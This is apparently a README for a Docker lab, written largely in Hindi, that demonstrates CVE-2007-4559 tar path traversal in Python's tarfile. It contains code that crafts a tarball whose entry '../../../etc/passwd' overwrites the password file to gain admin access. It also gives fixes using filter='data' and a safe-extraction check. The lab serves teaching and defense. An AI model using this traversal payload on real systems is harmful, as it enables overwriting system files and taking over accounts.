tar entry name : ../../../etc/passwd
extraction dir : /shared/uploads/a1b2c3d4/

resolved path  : /shared/uploads/a1b2c3d4/../../../etc/passwd
               = /etc/passwd   ← system file overwritten

हमलावर tarslip_passwd.tar.gz क्राफ्ट करता है
  └─ entry: "../../../etc/passwd"
       content: admin:hacked:1001:...   ← planted password
            │
            ▼
  POST /upload  (multipart file upload)
            │
            ▼
  extractall("/shared/uploads/{uuid}/")
  resolves "../../../etc/passwd" → /etc/passwd   ← CVE-2007-4559
            │
            ▼
  GET /admin   Authorization: Basic admin:hacked
            │
            ▼
  HTTP 200 — "Welcome, admin! You have full admin access."
  flag: CVE-2007-4559{tarslip_passwd_overwrite_to_admin_rce}

# Vulnerable — default before Python 3.14
tar.extractall(extraction_dir)

# Fixed — PEP 706 (Python 3.12+)
tar.extractall(extraction_dir, filter='data')

┌─────────────────────────────────────────────────────────┐
│                    tarslip-net (bridge)                  │
│                                                          │
│  ┌─────────────────┐      ┌──────────────────────────┐  │
│  │  vulnerable-api │      │       file-server        │  │
│  │  python:3.11.3  │      │       nginx:alpine       │  │
│  │  port 8000      │      │       port 8080 (host)   │  │
│  │                 │      │                          │  │
│  │  POST /upload   │      │  /shared पर HTTP सेवा     │  │
│  │  GET  /admin    │      │  निकाली गई फ़ाइलें ब्राउज़ │  │
│  │  GET  /health   │      │  करता है                  │  │
│  └────────┬────────┘      └────────────┬─────────────┘  │
│           │  shared-storage volume     │                 │
│           └────────────────────────────┘                 │
│                                                          │
│  ┌─────────────────┐                                     │
│  │    attacker     │                                     │
│  │  python:3.12    │  (कोई होस्ट पोर्ट नहीं — केवल आंतरिक) │
│  │                 │                                     │
│  │  craft_malicious.py  — टारबॉल जनरेट करता है            │
│  │  demo.py             — डेमो चलाता है                  │
│  └─────────────────┘                                     │
└─────────────────────────────────────────────────────────┘

CVE-2007-4559-lab/
├── run_demo.sh                      ← यहाँ से शुरू करें
├── docker-compose.vulnerable.yml
├── docker-compose.fixed.yml
├── vulnerable-api/
│   ├── app.py                       # Flask API: /upload + /admin + /health
│   ├── Dockerfile                   # /etc/passwd में admin:s3cr3t_Adm1nPass बीजित करता है
│   └── requirements.txt
├── file-server/
│   ├── Dockerfile
│   └── nginx.conf
└── attacker/
    ├── craft_malicious.py           # innocent.tar.gz + tarslip_passwd.tar.gz जनरेट करता है
    ├── demo.py                      # चार-मोड CLI ड्राइवर (craft/baseline/exploit/verify)
    ├── Dockerfile
    └── requirements.txt

git clone https://github.com/your-username/CVE-2007-4559-lab.git
cd CVE-2007-4559-lab
bash run_demo.sh

# भेद्य स्टैक
docker compose -f docker-compose.vulnerable.yml up --build -d
docker compose -f docker-compose.vulnerable.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py baseline
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py exploit

# फिक्स्ड स्टैक
docker compose -f docker-compose.vulnerable.yml down
docker compose -f docker-compose.fixed.yml up --build -d
docker compose -f docker-compose.fixed.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.fixed.yml exec attacker python demo.py verify

# टियरडाउन
docker compose -f docker-compose.fixed.yml down

admin:s3cr3t_Adm1nPass:1001:1001:Administrator:/home/admin:/bin/bash

def _add_entry(tar, name, content):
    info = tarfile.TarInfo(name=name)   # name ट्रैवर्सल पथ है
    info.size = len(content)
    tar.addfile(info, io.BytesIO(content))

# प्रविष्टि का नाम /shared/uploads/{uuid}/ में निकालने पर /etc/passwd पर रिज़ॉल्व होता है
_add_entry(tar, "../../../etc/passwd", malicious_passwd_content)

# पहले (भेद्य — पायथन 3.14 तक डिफ़ॉल्ट)
with tarfile.open(path) as tar:
    tar.extractall(dest)

# बाद में (सुरक्षित)
with tarfile.open(path) as tar:
    tar.extractall(dest, filter='data')

import os

def safe_extract(tar, dest):
    dest = os.path.realpath(dest)
    for member in tar.getmembers():
        member_path = os.path.realpath(os.path.join(dest, member.name))
        if not member_path.startswith(dest + os.sep):
            raise ValueError(f"असुरक्षित पथ: {member.name}")
    tar.extractall(dest)